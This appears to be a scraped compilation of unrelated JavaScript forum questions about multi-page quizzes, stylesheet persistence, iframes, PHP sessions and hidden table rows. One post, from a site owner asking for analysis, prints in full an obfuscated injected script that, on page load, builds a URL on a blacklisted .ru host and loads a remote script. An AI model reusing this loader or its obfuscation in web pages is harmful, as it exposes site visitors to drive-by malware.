JavaScript - 1 Link To Multiple Pages

Hello, I am trying to figure out how to write a quiz that has one question per html page, then once the choice has been selected, it will go to another page and tally a total at the end.

Can this be done? And if so, can you point me in the right direction to research?

Thanks in advance,


Tanya

Hi,

When designing a web page, you may come across a situation where you want to combine content from multiple websites in a single window. Could the "iframe" tag makes this possible? If so, as it will separate your page design into several sections and display a different website in each one?


Your answers are much appreciated.

Thank you for watching me.

Stickers

So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him.

This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist.

I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this.

Code below. Thanks for any advice and time spent reading this!

E

<script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script>
<!--4ff31209b849a146e6784b8cb55539b3-->

I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting.

For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages.

Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great!

HTML
Code:

<html>
<head>
<link href="red.css" rel="stylesheet"
type="text/css" title="red" media="screen" />
<link href="green.css" rel="alternate stylesheet"
type="text/css" title="green" media="screen" /> 
<link href="blue.css" rel="alternate stylesheet"
type="text/css" title="blue" media="screen" />

<script type="text/javascript">
function changeStyle(title) {
var lnks = document.getElementsByTagName('link');
for (var i = lnks.length - 1; i >= 0; i--) {
if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) {
lnks[i].disabled = true;
if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false;
}}} 
</script>


</head>
<body>
<a href = "home1.html">Page 1</a>
<br>
<br>
<a href = "home2.html">Page 2</a> 
<br>
<br>
<a href = "home3.html">Page 3</a> 
<br>
<br>
<br>
<br>
<a href = "#" onclick="changeStyle('red')">Red Stylesheet</a>
<br>
<br>
<a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a> 
<br>
<br>
<a href = "#" onclick="changeStyle('green')">Green Stylesheet</a> 
</body>
</html>

CSS
Code:

body
{
background-color:red;
}

I'm slowly scraping away errors from a page im working on and ive found this forum to be very helpful- down to one more that i wanted to post on.
sample page is he http://darrenlasso.com/freelance/loo.../lookbook.html

Works fine in most all browsers except for IE8- ive even had to include built in ie7 compatibility to get it to work at all. Problem is most likely associated with my js, which is:
Code:

function ShowPage(frame)

 {
  frames[0].location = frame+'.html'
  }

and html is:
Code:

<div id="thumb1"><a onmouseover="ShowPage('frame1')"onclick="ShowPage('frame1')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb2"><a onmouseover="ShowPage('frame2')"onclick="ShowPage('frame2')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb3"><a onmouseover="ShowPage('frame3')"onclick="ShowPage('frame3')" rel="nofollow" target="mainbox"></a></div>

etc etc..


Which is just something i found online - probly isnt right for what im trying to accomplish. If you go to the site- you navigate by hovering over/clicking the images at the top and that loads a new page into the iframe below. Id like to be able to fix the errors and get it working without having to force ie7 compatibility if possible too. Any help is much appreciated

Hopefully the title isn't too confusing, I shall explain...

I'm a basic PHP/javascript developer and I need to build a series of forms where info is passed from page to page and there will be a need to skip to different sequences of pages depending upon answers given.

I have distilled this into a small example (try.php) where I can set my page destination using javascript but I'd like to be able to set a session variable to store the form data to reuse it on other pages. Because I haven't used a form action then the result doesn't get stored. This example should make it clearer...

Here is a simple form, I send the visitor to either page 1 or page 2 depending on their radio button choice:

Code:

<script type="text/javascript">
function OnSubmitForm()
{
  if(document.myform.destination[0].checked == true)
  {
    document.myform.action ="pg1.php";
  }
  else
  if(document.myform.destination[1].checked == true)
  {
    document.myform.action ="pg2.php";
  }
  return true;
}
</script>
<form name="myform" onsubmit="return OnSubmitForm();">
   name: <input type="text" name="name"><br>
   email: <input type="text" name="email"><br>
   <input type="radio" name="destination" value="1" checked>go to page 1<br>
   <input type="radio" name="destination" value="2">go to page 2
   <p>
   <input type="submit" name="submit" value="go">
   </p>
</form>

This works fine inasmuch as it takes the visitor to the correct page, however I'd like to store the name entered as a session variable and reuse it on page 1 (or page 2).

page1.php looks like this (and page 2 is very similar):

Code:

<?php
	session_start();		 
		
	// debug - turn on error reporting
	error_reporting(E_ALL | E_NOTICE);
        ini_set('display_errors', '1');

	//Store our posted values in a session variable
	if (isset ($_POST['name'])) {
		$_SESSION['name'] = $_POST['name'];
	}
	else {
		$_SESSION['name'] = null;
	}
	echo ("Session variable is set to: ".$_SESSION['name']);
	
?>
<h1>welcome to page 1</h1>

I'm sure that pg1.php would work if I had used a form action but I need the ability to send the visitor to different pages on form submission

Is it possible to write the name to a session variable in try.php (I guess using javascript/ajax)?

Thanks for any hints and examples

Nigel

Hi, I'm currently trying to incorporate several random link generators on one page, each with different links to be directed to. However, at the minute all the links just direct me to the URLs of the most recent random link to be created. If someone could point me in the right direction to fixing this that would be great! The code I am currently using is:


Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<script type="text/javascript">
var movie=new Array()
movie[0]="http://bringbacktheoc.weebly.com"
movie[1]="http://allaboutkarl.weebly.com"
movie[2]="http://recipeshareonline.weebly.com"

function randomLinks(elem)
{
	var randomLink=Math.floor(Math.random()*2);
	elem.href=movie[randomLink];
	elem.target = "_blank";
}
</script>
<a href="#" onclick="randomLinks(this)"<p><font size="20" > 1 </font><p> </a>
</body>
</html>

Thanks!

Hello Everyone.

I have a bit of an issue trying to get one link to open more than one link at a time. Perhaps you can either help me or suggest a better way to do so.

I have created a table with hidden rows until a user clicks an open in either cell. Once the user clicks a cell, the next row of opens opens up.

What I am having trouble with is getting the table headings to be opened once hidden. Each set of options needs a title or question for the user to understand what choices to make. (these are the td's with colspan of 2)

I am using javascript to show and hide the cells I have so far, and I can hide them just fine, I just want to show both sets of cells once the user clicks one link. its a bit complicated because i have functions all over the place

Any help you give me would be greatly appreciated. Alternatively, I can be reached on Y!: tmdela

Here's the code...:

<html>
<head>
<script language="JavaScript">
function showCell() {
document.getElementById('cellName').style.visibility='visible';
}
function showCell2() {
document.getElementById('cellName2').style.visibility='visible';
}
function showCell3() {
document.getElementById('cellName3').style.visibility='visible';
}
function showCell4() {
document.getElementById('cellName4').style.visibility='visible';
}

function showCell5(){
document.getElementById('cellName5').style.visibility='visible';
}
function showCell6(){
document.getElementById('cellName6').style.visibility='visible';
}
function DoAllThese12(){
showCell();
showCell2();
showCellHeader();
}
function DoAllThese34(){
showCell3();
showCell4();
}
function DoAllThese56(){
showCell5();
showCell6();
}
</script>


<!--------------------------------CSS begins here, hides the table-->
<style type="text/css">
#cellName {visibility:hidden; }
#cellName2 {visibility:hidden; }
#cellName3 {visibility:hidden; }
#cellName4 {visibility:hidden; }
#cellName5 {visibility:hidden; }
#cellName6 {visibility:hidden; }
body{
font-family:Arial, Calibri, Sans-serif;
font-size: 15px;
}
a{
font-family: Arial, Calibri, Sans-Serif;
font-size: 11px;
color:#000;
}
a:link{text-decoration:none}
a:visited{text-decoration:none; color:#000;}
a:active{text-decoration:none}
a:hover{text-decoration:none;}

a:visited {
color: #000;
}
#container{
position:absolute;
margin:0 auto;
left: 30%;
top:0px;
}
#maincontent{
width: 420px;
margin: 0 auto;
}
#table{
margin:0 auto;
width: 450px;
}
td {
width: 50%;
border:0px;
}
.pane-list {
margin: 0;
padding: 0;
list-style: none;
}
.pane-list li {
background: #f9dfec;
padding: 10px 20px 2px;
border-top: solid 2px #FF0066;
cursor: pointer;
}
.pane-list li:hover {
background: #F6A8B6;
}


</style>
</head>

<!--------------------------------------------body-->
<body>
<div id="container">
<div id="maincontent">
<h3>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</h3>
<p>

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua
</p>

<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesuaLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua
</p>
<BR>
</div><!--maincontent-->

<!-------------------------------------Container for table-->
<div id="menu">

<!-------------------------------------Line 1 of table: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua?-->
<div id="table">
<center>
<table border="0" id="table">
<tr>
<td colspan="2">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua?
</td>
</tr>
<td>
<ul class="pane-list">
<li>
<h3>
<a href="#" onclick="DoAllThese12()">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</p>
</a>
</h3>
</li>
</ul>
</td>
<td>
<ul class="pane-list">
<li>
<h3>
<a href="http://www.google.com">My cancer has spread.
<p>
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</p>
</a>
</h3>
</li>
</ul>
</td>
</tr>

<!------------------------------------Line 2 of Table: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua-->
<tr>
<td colspan="2">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua?
</td>
</tr>
<td id="cellName">
<ul class="pane-list">
<li>
<h3>
<a href="#" onclick="DoAllThese34()">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</a>
</h3>
</li>
</ul>
</td>
<td id="cellName2">
<ul class="pane-list">
<li>
<h3>
<a href="http://www.google.com">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</a>
</h3>
</li>
</ul>
</td>
</tr>

<!------------------------------------Line 3 of Table: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua-->
<tr>
<td colspan="2">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua?
</td>
</tr>
<tr>
<td id="cellName3">
<ul class="pane-list">
<li>
<h3>
<a href="#" onclick='DoAllThese56()'>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</a>
</h3>
</li>
</ul>
</td>

<td id="cellName4">
<ul class="pane-list">
<li>
<h3>
<a href="#" onclick="DoAllThese56()">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer id ante eu nunc aliquet malesua</a>
</h3>
</li>
</ul>
</td>
</tr>

</table>
</center>
</div><!--table-->
</div><!--menu-->
</div><!--container-->
</body>
</html>

Hi,

I coded the following JavaScript:
Code:

var el = document.createElement("iframe");
el.setAttribute('id', 'ifrm');
document.body.appendChild(el);
el.setAttribute('height', 250);
el.setAttribute('width', 300);
el.setAttribute('frameborder', 0);
el.setAttribute('marginheight', 0);
el.setAttribute('marginwidth', 0)
el.setAttribute('src', 'http://example.com/?pub=1&format=image&size=300x250&url='+window.location);

And am putting it between <script type="text/javascript"> and </script> tags in the <body> section of my site. But, it only works in certain areas of the page. Can you guys think of any reason for this?

Let me know...
Thanks,
~Christian

I'm working on a technical document that has a glossary section. When I use a technical term, I link to its definition in the glossary then provide a return link to return the user to whence they came. But if I use that same term again, and if I want to link it to the glossary, I need to duplicate the glossary entry in order to provide a return link that returns them to the right place. Is there some way I could link them to the glossary and embed a unique return link in the link to the glossary?

How would you connect a HTML page wig a JavaScript page so a person could not reed JavaScript but it would still work.

Hi Forum,

to develop a "Digital Signage" applikation we need:

1) After loading the (main) html page get all the pages (.html, .pdf, .xls, .jpg) as members of the paylist.

- Is there a way to get the appr. 15 pages into the browser (as DOM Objects) ? Or rather to load in 15 iFrames ?

2) The mentionde pages should be displayed in a certain order (in ca. 20 sec tact).

- A possible solution would be to hide / unhide. Any other wy ?

Thanks in advance

Michel

Hi,

I know lot of scripts written by experts in JS that extracts urls from source code placed into DIV or TEXTAREA, but I would need just one to extract the links ending by ".html" or ".htm" or ".txt".

I would appreciate any helpful.

Just he!